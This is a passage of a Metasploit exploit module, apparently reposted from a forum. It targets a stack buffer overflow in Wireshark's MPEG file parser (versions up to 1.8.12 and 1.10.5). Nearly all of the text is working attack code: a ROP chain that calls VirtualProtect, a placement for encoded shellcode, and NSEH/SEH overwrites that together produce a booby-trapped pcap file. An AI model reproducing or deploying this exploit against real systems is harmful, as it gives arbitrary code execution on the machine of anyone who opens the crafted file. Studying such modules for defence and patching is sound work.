# pop/pop/ret -> krb5_32.dll module 'jmpesp' => 0x68e2bfb9, } ], ], 'Privileged' => false, 'DisclosureDate' => 'Mar 20 2014' )) register_options( [ OptString.new('FILENAME', [ true, 'pcap file', 'mpeg_overflow.pcap']), ], self.class) end def create_rop_chain() # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x62d9027c, # ptr to &VirtualProtect() [IAT libcares-2.dll] 0x61970969, # MOV EAX,DWORD PTR DS:[EAX] # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x61988cf6, # XCHG EAX,ESI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x619c0a2a, # POP EBP # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x61841e98, # & push esp # ret [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x6191d11a, # POP EBX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x00000201, # 0x00000201-> ebx 0x5a4c1414, # POP EDX # RETN [zlib1.dll, ver: 1.2.5.0] 0x00000040, # 0x00000040-> edx 0x6197660f, # POP ECX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x668242b9, # &Writable location [libgnutls-26.dll] 0x6199b8a5, # POP EDI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0 0x63a528c2, # RETN (ROP NOP) [libgobject-2.0-0.dll] 0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x90909090, # nop 0x6199652d, # PUSHAD # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] ].flatten.pack("V*") return rop_gadgets end def exploit print_status("Creating '#{datastore['FILENAME']}' file ...") ropchain = create_rop_chain magic_header = "\xff\xfb\x41" # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure # Here we build the packet data packet = rand_text_alpha(883) packet << "\x6c\x7d\x37\x6c" # NOP RETN packet << "\x6c\x7d\x37\x6c" # NOP RETN packet << ropchain packet << payload.encoded # Shellcode packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length) # 0xff is a badchar for this exploit then we can't make a jump back with jmp $-2000 # After nseh and seh we haven't space, then we have to jump to another location. # When file is open with command line. This is NSEH/SEH overwrite packet << make_nops(4) # nseh packet << "\x6c\x2e\xe0\x68" # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN packet << rand_text_alpha(target['OffSet2'] - target['OffSet'] - 8) # junk # When file is open with GUI interface. This is NSEH/SEH overwrite packet << make_nops(4) # nseh # seh -> # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [libjpeg-8.dll] ** packet << "\x55\x59\x80\x6b" print_status("Preparing payload") filecontent = magic_header filecontent << packet print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes") file_create(filecontent) end end Sursa: Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow